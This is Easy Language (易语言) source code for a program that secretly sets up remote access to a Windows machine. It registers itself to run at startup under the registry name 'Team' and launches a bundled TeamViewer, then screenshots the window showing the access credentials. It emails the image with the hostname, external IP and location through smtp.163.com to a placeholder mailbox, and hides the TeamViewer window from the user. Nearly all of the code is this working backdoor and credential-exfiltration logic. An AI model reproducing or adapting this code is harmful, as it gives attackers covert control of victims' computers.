| 窗口程序集名 | 保 留 | 保 留 | 备 注 |
| 程序集1 | |||
| 变量名 | 类 型 | 数组 | 备 注 |
| 邮件内容 | 字节集 |
| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| _启动子程序 | 整数型 | 本子程序在程序启动后最先执行 | |||
如果 (文件是否存在 (取运行目录 () ＋ “\配置.ini”))
是否开机启动 ()
写配置项 (取运行目录 () ＋ “\配置.ini”, “开关”, “是否开机启动”, “是”)
启动线程 (&控制程序, , )
程序_延时 (, )
返回 (0) ' 可以根据您的需要返回任意数值
| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| 是否开机启动 | |||||
| 变量名 | 类 型 | 静态 | 数组 | 备 注 | ||
| 开关 | 逻辑型 | |||||
如果 (读配置项 (取运行目录 () ＋ “\配置.ini”, “开关”, “是否开机启动”, “是”) ＝ “是”)开关 ＝ 真开关 ＝ 假如果 (注册项是否存在 ( #本地机器, “software\microsoft\windows\CurrentVersion\Run\Team”))
如果 (开关)删除注册项 ( #本地机器, “software\microsoft\windows\CurrentVersion\Run\Team”)
如果 (开关)
写注册项 ( #本地机器, “software\microsoft\windows\CurrentVersion\Run\Team”, 取运行目录 () ＋ “\” ＋ 取执行文件名 ())| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| 控制程序 | |||||
| 变量名 | 类 型 | 静态 | 数组 | 备 注 | ||
| 窗口句柄 | 整数型 | |||||
| 邮件发送结果 | 逻辑型 | |||||
载入 (窗口1, , 假)
如果真 (程序检查 () ＝ 假)程序写出 ()
如果真 (程序启动 () ＝ 假)信息框 (“程序启动失败,请尝试手动启动,请启动后再点击确定”, 0, , )如果 (确认程序启动 ())窗口1.编辑框1.加入文本 (“五秒后程序退出” ＋ 到文本 ( #换行符 ))延迟 (5000)返回 ()延迟 (2000)
窗口句柄 ＝ 窗口绑定 ()
邮件发送结果 ＝ 邮件发送 (快照 (窗口句柄, , ))
窗口_显示隐藏 (窗口句柄, 假)
窗口1.销毁 ()
判断循环首 (邮件发送结果 ＝ 假)邮件发送结果 ＝ 邮件发送 (邮件内容)程序_延时 (5, 2)
判断循环尾 ()| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| 窗口绑定 | 整数型 | ||||
| 变量名 | 类 型 | 静态 | 数组 | 备 注 | ||
| 窗口句柄 | 整数型 | |||||
如果 (窗口句柄 ＝ 0)信息框 (“窗口句柄获取失败,请尝试手动启动,请启动后再点击确定”, 0, , )窗口句柄 ＝ 进程_ID取窗口句柄 (进程_名取ID (“TeamViewer.exe”, 假), “TeamViewer”, “#32770”, 5000)如果 (窗口句柄 ＝ 0)窗口1.编辑框1.加入文本 (“依赖程序窗口绑定结果 假” ＋ 到文本 ( #换行符 ))窗口1.编辑框1.加入文本 (“五秒后程序退出” ＋ 到文本 ( #换行符 ))延迟 (5000)返回 (0)窗口1.编辑框1.加入文本 (“依赖程序窗口绑定结果 真” ＋ 到文本 ( #换行符 ))
' 窗口句柄 ＝ 进程_ID取窗口句柄 (进程_名取ID (“TeamViewer.exe”, 假), “连接准备已就绪(安全连接)”, “Static”, )
确认加载成功 (窗口句柄)
程序_延时 (10000, 0)
返回 (窗口句柄)
| 子程序名 | 返回值类型 | 公开 | 备 注 | ||||
| 邮件发送 | 逻辑型 | ||||||
| 参数名 | 类 型 | 参考 | 可空 | 数组 | 备 注 | ||
| 附件 | 字节集 | ||||||
| 变量名 | 类 型 | 静态 | 数组 | 备 注 | ||
| 识别码 | 文本型 | |||||
| 地点 | 文本型 | |||||
| ip | 文本型 | |||||
邮件内容 ＝ 附件
如果 (连接发信服务器 (“smtp.163.com”, 25, “你的邮箱@163.com”, “你的密码”, 10000))窗口1.编辑框1.加入文本 (“连接发信服务器结果 真” ＋ 到文本 ( #换行符 ))窗口1.编辑框1.加入文本 (“连接发信服务器结果 假” ＋ 到文本 ( #换行符 ))返回 (假)' 数据压缩 (附件)
如果 (添加附件数据 (附件, “账号.jpg”))窗口1.编辑框1.加入文本 (“添加邮件附件结果 真” ＋ 到文本 ( #换行符 ))窗口1.编辑框1.加入文本 (“添加邮件附件结果 假” ＋ 到文本 ( #换行符 ))返回 (假)ip ＝ 网页_取wai网IP (地点)
识别码 ＝ “主机名:” ＋ 取主机名 () ＋ “ ip” ＋ ip ＋ “ 大致地址:” ＋ 地点
调试输出 (识别码)
窗口1.编辑框1.加入文本 (识别码 ＋ 到文本 ( #换行符 ))
如果 (发送邮件 (识别码, 识别码, “目标邮箱@163.com”, , , “你的邮箱@163.com”, ) ＝ “”)窗口1.编辑框1.加入文本 (“发送邮件结果 真” ＋ 到文本 ( #换行符 ))窗口1.编辑框1.加入文本 (“发送邮件结果 假” ＋ 到文本 ( #换行符 ))返回 (假)返回 (真)
| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| 程序启动 | 逻辑型 | ||||
如果 (进程_是否存在 (“TeamViewer.exe”, 假))进程_结束 (进程_名取ID (“TeamViewer.exe”, 假))延迟 (2000)执行 (4, 取运行目录 () ＋ “\teamview\TeamViewer.exe”, , , 1)执行 (4, 取运行目录 () ＋ “\teamview\TeamViewer.exe”, , , 1)延迟 (5000)
如果 (进程_是否存在 (“TeamViewer.exe”, 假))窗口1.编辑框1.加入文本 (“依赖程序启动结果 真” ＋ 到文本 ( #换行符 ))返回 (真)窗口1.编辑框1.加入文本 (“依赖程序启动结果 假” ＋ 到文本 ( #换行符 ))返回 (假)| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| 确认程序启动 | 逻辑型 | ||||
如果 (进程_是否存在 (“TeamViewer.exe”, 假))窗口1.编辑框1.加入文本 (“依赖程序确认启动 真” ＋ 到文本 ( #换行符 ))返回 (真)窗口1.编辑框1.加入文本 (“依赖程序确认启动 假” ＋ 到文本 ( #换行符 ))返回 (假)| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| 程序检查 | 逻辑型 | ||||
如果真 (目录_是否存在 (取运行目录 () ＋ “\teamview”) ＝ 假)窗口1.编辑框1.加入文本 (“程序检查结果 假” ＋ 到文本 ( #换行符 ))窗口1.编辑框1.加入文本 (“正在写出依赖程序 请稍后....” ＋ 到文本 ( #换行符 ))返回 (假)如果真 (文件是否存在 (取运行目录 () ＋ “\teamview\TeamViewer.exe”) ＝ 假)窗口1.编辑框1.加入文本 (“程序检查结果 假” ＋ 到文本 ( #换行符 ))窗口1.编辑框1.加入文本 (“正在写出依赖程序 请稍后....” ＋ 到文本 ( #换行符 ))返回 (假)窗口1.编辑框1.加入文本 (“程序检查结果 真” ＋ 到文本 ( #换行符 ))
返回 (真)
| 子程序名 | 返回值类型 | 公开 | 备 注 | ||
| 程序写出 | |||||
| 变量名 | 类 型 | 静态 | 数组 | 备 注 | ||
| 文件号 | 整数型 | |||||
| 文件 | 字节集 | |||||
写出数据 (文件号, #程序包 )
关闭文件 (文件号)
文件 ＝ 读入文件 (取运行目录 () ＋ “\teamview.zip”)
文件 ＝ 取字节集中间 (文件, 5, 取字节集长度 (文件) － 4)
写到文件 (取运行目录 () ＋ “\teamview.zip”, 文件)
文件 ＝ 读入文件 (取运行目录 () ＋ “\teamview.zip”)
窗口1.ZIP压缩1.解压 (取运行目录 () ＋ “\teamview.zip”, 取运行目录 ())
删除文件 (取运行目录 () ＋ “\teamview.zip”)
窗口1.编辑框1.加入文本 (“程序写出结果 真” ＋ 到文本 ( #换行符 ))
| 子程序名 | 返回值类型 | 公开 | 备 注 | ||||
| 数据压缩 | 字节集 | ||||||
| 参数名 | 类 型 | 参考 | 可空 | 数组 | 备 注 | ||
| 数据 | 字节集 | ||||||
| 变量名 | 类 型 | 静态 | 数组 | 备 注 | ||
| temp | 字节集 | |||||
' 写到文件 (取运行目录 () ＋ “\temp1.jpg”, 数据)
' 转换到JPG (取运行目录 () ＋ “\temp1.jpg”, 取运行目录 () ＋ “\temp2.jpg”, 假, 25, 真, 0)
' temp ＝ 读入文件 (取运行目录 () ＋ “\temp2.jpg”)
' 删除文件 (取运行目录 () ＋ “\temp1.jpg”)
' 删除文件 (取运行目录 () ＋ “\temp2.jpg”)
' 返回 (temp)
| 子程序名 | 返回值类型 | 公开 | 备 注 | ||||
| 确认加载成功 | |||||||
| 参数名 | 类 型 | 参考 | 可空 | 数组 | 备 注 | ||
| 顶级句柄 | 整数型 | ||||||
| 变量名 | 类 型 | 静态 | 数组 | 备 注 | ||
| 句柄 | 整数型 | 0 | ||||
| 局_计次 | 整数型 | |||||
判断循环首 (真)窗口_枚举子窗口 (顶级句柄, 句柄, “Static”)计次循环首 (取数组成员数 (句柄), 局_计次)调试输出 (窗口_取标题 (句柄 [局_计次]))如果 (窗口_取标题 (句柄 [局_计次]) ＝ “连接准备已就绪(安全连接)”)返回 ()计次循环尾 ()延时 (500)判断循环尾 ()| i支持库列表 | 支持库注释 |
| EThread | 多线程支持库 |
| spec | 特殊功能支持库 |
| internet | 互联网支持库 |
| shell | 操作系统界面功能支持库 |
| eCompress | 压缩解压支持库 |
